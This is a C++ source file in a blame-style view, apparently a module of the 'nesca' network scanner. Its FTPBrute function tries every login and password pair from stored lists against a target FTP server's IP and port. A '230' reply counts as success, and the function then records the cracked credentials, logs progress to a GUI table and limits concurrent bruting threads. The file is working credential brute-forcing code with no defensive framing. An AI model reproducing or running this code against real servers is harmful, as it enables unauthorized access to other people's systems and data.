nesca/FTPAuth.cpp

113 lines
2.9 KiB
C++
Raw Normal View History

2015-03-16 14:29:34 +00:00
#include "FTPAuth.h"
#include "FileUpdater.h"
2015-03-16 14:29:34 +00:00
bool FTPA::checkOutput(const string *buffer) {
if(Utils::ustrstr(*buffer, "230") != -1) {
2015-03-16 14:29:34 +00:00
return true;
}
return false;
}
2015-03-23 13:54:40 +00:00
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
2015-03-16 14:29:34 +00:00
string buffer;
string lpString;
2015-04-04 12:43:22 +00:00
lopaStr lps = {"UNKNOWN", "", ""};
2015-03-16 14:29:34 +00:00
2015-03-22 00:43:15 +00:00
int res = 0;
2015-03-22 10:13:17 +00:00
int passCounter = 0;
2015-08-07 22:37:28 +00:00
int rowIndex = -1;
2015-03-16 14:29:34 +00:00
2015-03-24 14:29:27 +00:00
char login[128] = {0};
char pass[32] = {0};
2015-04-04 07:24:31 +00:00
char nip[128] = { 0 };
2015-03-24 14:29:27 +00:00
2015-08-07 22:37:28 +00:00
for (int i = 0; i < MaxFTPLogin; ++i)
2015-03-16 14:29:34 +00:00
{
if(!globalScanFlag) return lps;
2015-08-07 22:37:28 +00:00
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
strcpy(login, ftpLoginLst[i]);
if (strlen(login) <= 1) continue;
2015-03-16 14:29:34 +00:00
2015-03-24 14:29:27 +00:00
2015-08-07 22:37:28 +00:00
for (int j = 0; j < MaxFTPPass; ++j)
2015-03-16 14:29:34 +00:00
{
if(!globalScanFlag) return lps;
2015-08-07 22:37:28 +00:00
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
strcpy(pass, ftpPassLst[j]);
if (strlen(pass) <= 1) continue;
2015-03-24 14:29:27 +00:00
lpString = string(login) + ":" + string(pass);
2015-03-22 00:43:15 +00:00
2015-04-04 07:24:31 +00:00
ZeroMemory(nip, 128);
sprintf(nip, "ftp://%s", ip);
2015-04-28 23:27:54 +00:00
Connector con;
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
2015-08-07 22:37:28 +00:00
if (res == -2) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}
2015-03-22 00:43:15 +00:00
else if (res != -1) {
if (!globalScanFlag) return lps;
2015-03-24 14:29:27 +00:00
strcpy(lps.login, login);
strcpy(lps.pass, pass);
2015-03-22 00:43:15 +00:00
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
2015-08-07 22:37:28 +00:00
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
}
2015-03-22 00:43:15 +00:00
return lps;
};
2015-03-22 10:13:17 +00:00
2015-08-07 22:37:28 +00:00
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
Sleep(50);
2015-03-16 14:29:34 +00:00
}
}
2015-08-07 22:37:28 +00:00
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
2015-03-16 14:29:34 +00:00
return lps;
}
2015-03-23 13:54:40 +00:00
lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
2015-04-02 12:33:49 +00:00
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
2015-03-16 14:29:34 +00:00
2015-04-04 12:43:22 +00:00
++baCount;
++BrutingThrds;
const lopaStr &lps = FTPBrute(ip, port, ps);
--BrutingThrds;
2015-03-16 14:29:34 +00:00
2015-04-02 12:33:49 +00:00
return lps;
} else {
2015-08-07 22:37:28 +00:00
lopaStr lps = {"UNKNOWN", "", ""};
2015-04-02 12:33:49 +00:00
return lps;
}
2015-03-16 14:29:34 +00:00
}